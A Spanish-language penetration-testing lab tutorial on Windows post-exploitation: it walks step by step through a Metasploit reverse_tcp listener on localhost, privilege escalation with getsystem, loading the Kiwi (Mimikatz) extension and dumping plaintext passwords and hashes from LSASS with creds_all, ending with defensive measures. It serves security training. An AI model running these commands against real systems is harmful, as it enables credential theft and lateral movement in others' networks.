Introducción
En la fase de post-explotación de una prueba de penetración, uno de los objetivos principales es recopilar credenciales para moverse lateralmente por la red. Meterpreter de Metasploit es un payload potente que proporciona una shell interactiva en un sistema comprometido.
Una de las características más potentes de Meterpreter es la extensión Kiwi, que es una adaptación (port) de la famosa herramienta Mimikatz. Kiwi permite a los atacantes extraer contraseñas en texto plano, hashes, PINs y tickets Kerberos directamente de la memoria de la máquina objetivo, específicamente del proceso Local Security Authority Subsystem Service (LSASS).
En este laboratorio, aprenderá a cargar y utilizar la extensión Kiwi dentro de una sesión de Meterpreter para volcar credenciales de un objetivo simulado de Windows.
Obtener una sesión de Meterpreter con privilegios SYSTEM en un objetivo Windows
En este paso, simularemos la obtención de acceso a una máquina objetivo. En un escenario del mundo real, utilizaría un exploit para entregar un payload. Aquí, configuraremos un listener utilizando la consola de Metasploit Framework. Un objetivo simulado se conectará a nuestro listener, proporcionándonos una sesión de Meterpreter.
Primero, inicie la consola de Metasploit. La opción -q hace que se inicie silenciosamente sin mostrar el banner.
msfconsole -q
A continuación, configuraremos un listener para "capturar" la conexión entrante del objetivo simulado. Para ello, utilizamos el módulo multi/handler.
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
Ahora, ejecute el listener como un trabajo en segundo plano utilizando exploit -j.
exploit -j
Después de unos momentos, se creará una sesión. Puede listar las sesiones activas con el comando sessions.
sessions
Debería ver una salida que indica una sesión activa, similar a esta:
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows WIN-TARGET\LabUser @ WIN-TARGET 127.0.0.1:4444 -> 127.0.0.1:54321 (...)
Ahora, interactúe con la sesión 1.
sessions -i 1
Su prompt cambiará a meterpreter >. Para utilizar Kiwi de manera efectiva, necesitamos el nivel más alto de privilegios, NT AUTHORITY\SYSTEM. Podemos intentar escalar nuestros privilegios utilizando el comando getsystem.
getsystem
Debería ver un mensaje de ...got system. Verifique su nueva identidad ejecutando getuid.
getuid
La salida esperada debería ser:
Server username: NT AUTHORITY\SYSTEM
Ahora tiene una sesión de Meterpreter con privilegios SYSTEM, lista para los siguientes pasos.
Cargar la extensión kiwi usando el comando load kiwi
En este paso, cargará la extensión Kiwi en su sesión de Meterpreter. Meterpreter es modular, y sus extensiones proporcionan funcionalidad adicional que no se carga por defecto para mantener el payload inicial pequeño. La extensión Kiwi contiene todos los comandos necesarios para realizar volcados de credenciales al estilo Mimikatz.
Desde su prompt meterpreter >, utilice el comando load para añadir la extensión Kiwi.
load kiwi
Si el comando es exitoso, Meterpreter confirmará que la extensión ha sido cargada.
Loading extension kiwi...Success.
Con la extensión Kiwi cargada, ahora tiene acceso a un nuevo conjunto de potentes comandos para la recolección de credenciales.
Listar comandos de kiwi disponibles con help
En este paso, verificará que los comandos de Kiwi estén disponibles. Después de cargar cualquier extensión en Meterpreter, puede usar el comando help para ver una lista actualizada de todos los comandos disponibles. Esta es una buena práctica para confirmar que la extensión se cargó correctamente y para ver qué nuevas capacidades tiene.
Desde el prompt meterpreter >, simplemente escriba help.
help
La salida será una larga lista de todos los comandos de Meterpreter, agrupados por sección. Desplácese por la salida y debería encontrar una nueva sección llamada "Kiwi Commands". Esta sección enumera todas las funciones proporcionadas por la extensión Kiwi.
...
Kiwi Commands
=============
Command Description
------- -----------
creds_all Retrieve all credentials (parsed)
creds_kerberos Retrieve Kerberos creds (parsed)
creds_msv Retrieve MSV credentials (parsed)
creds_ssp Retrieve SSP credentials (parsed)
creds_tspkg Retrieve TSPKG credentials (parsed)
creds_wdigest Retrieve WDigest credentials (parsed)
dcsync Retrieve user account information via DCSync
dcsync_ntlm Retrieve user NTLM hash via DCSync
golden_ticket_create Create a golden kerberos ticket
kerberos_ticket_list List all kerberos tickets
kerberos_ticket_purge Purge any in-use kerberos tickets
kerberos_ticket_use Use a kerberos ticket
kiwi_cmd Execute a custom command
lsa_dump_sam Dump LSA SAM
lsa_dump_secrets Dump LSA secrets
wifi_list List wifi profiles/creds
wifi_list_shared List shared wifi profiles/creds
...
Como puede ver, Kiwi añade muchos comandos potentes para interactuar con los mecanismos de autenticación de Windows.
Volcar todas las credenciales disponibles con el comando creds_all
En este paso, ejecutará el comando principal de la extensión Kiwi para volcar todas las credenciales encontradas en memoria. El comando creds_all es un wrapper conveniente que ejecuta varios módulos de recolección de credenciales diferentes a la vez, apuntando a varios paquetes de autenticación como WDigest, Kerberos y MSV.
Recuerde, este comando requiere privilegios de SYSTEM para acceder a la memoria del proceso LSASS, razón por la cual realizamos el comando getsystem en el primer paso.
Desde su prompt meterpreter >, ejecute el comando creds_all.
creds_all
El comando tardará un momento en ejecutarse mientras inspecciona el proceso LSASS. La salida será detallada, mostrando las credenciales encontradas para diferentes proveedores. A continuación, se muestra una muestra de lo que podría ver.
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 NTLM WIN-TARGET LabUser (null)
0;99876 NTLM WIN-TARGET WIN-TARGET$ (null)
wdigest credentials
===================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 WDigest WIN-TARGET LabUser P@ssword123!
0;99876 WDigest WIN-TARGET WIN-TARGET$ (null)
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;109871 Kerberos WIN-TARGET LabUser P@ssword123!
0;99876 Kerberos WIN-TARGET WIN-TARGET$ (null)
...
Ha volcado exitosamente las credenciales de la memoria del sistema objetivo. El siguiente paso es analizar esta salida.
Analizar la salida en busca de contraseñas en texto plano
En este paso final, analizará la salida del comando creds_all para identificar contraseñas en texto plano. La capacidad de encontrar credenciales en texto plano es lo que hace que herramientas como Kiwi y Mimikatz sean tan potentes para el movimiento lateral.
Revise la salida que recibió en el paso anterior. Los datos están organizados por paquete de autenticación:
- msv: Este paquete maneja la autenticación NTLM estándar. Típicamente proporciona hashes de contraseñas, no contraseñas en texto plano, a menos que el usuario haya iniciado sesión interactivamente recientemente.
- wdigest: En sistemas Windows más antiguos o en sistemas donde está explícitamente habilitado, WDigest almacena una copia cifrada reversible de la contraseña del usuario en memoria. Kiwi puede descifrar esto fácilmente, revelando la contraseña en texto plano. Esta suele ser la sección más valiosa.
- kerberos: Este paquete administra los tickets Kerberos. Similar a WDigest, también puede almacenar en caché contraseñas en texto plano para los usuarios que han iniciado sesión.
- ssp y tspkg: Estos paquetes manejan credenciales para otros servicios, como conexiones de Escritorio Remoto.
En la salida de muestra del paso anterior, puede ver claramente una contraseña en texto plano para el usuario LabUser tanto en las secciones wdigest como kerberos:
wdigest credentials
===================
...
0;109871 WDigest WIN-TARGET LabUser P@ssword123!
...
kerberos credentials
====================
...
0;109871 Kerberos WIN-TARGET LabUser P@ssword123!
...
Al examinar cuidadosamente la salida y buscar valores que no sean (null) en la columna Password, puede recolectar credenciales valiosas. Esta información podría luego usarse para acceder a otros sistemas o servicios como ese usuario.
Resumen
En este laboratorio, realizó con éxito una técnica clásica de post-explotación. Comenzó obteniendo una sesión de Meterpreter con privilegios de SYSTEM en un objetivo simulado de Windows. Luego cargó la extensión Kiwi, que integra la funcionalidad de Mimikatz en Meterpreter.
Utilizando el comando creds_all, volcó credenciales directamente de la memoria del proceso LSASS. Finalmente, analizó la salida para extraer una contraseña en texto plano para un usuario que había iniciado sesión.
Este ejercicio resalta la importancia del endurecimiento de la seguridad en los puntos finales. Las defensas contra este tipo de ataque incluyen:
- Deshabilitar la autenticación WDigest.
- Habilitar la Protección LSA (RunAsPPL).
- Implementar el principio de mínimo privilegio para garantizar que los usuarios y procesos no tengan derechos administrativos innecesarios.
Ahora tiene una comprensión práctica de cómo los atacantes pueden aprovechar la extracción de credenciales en memoria para comprometer aún más una red.


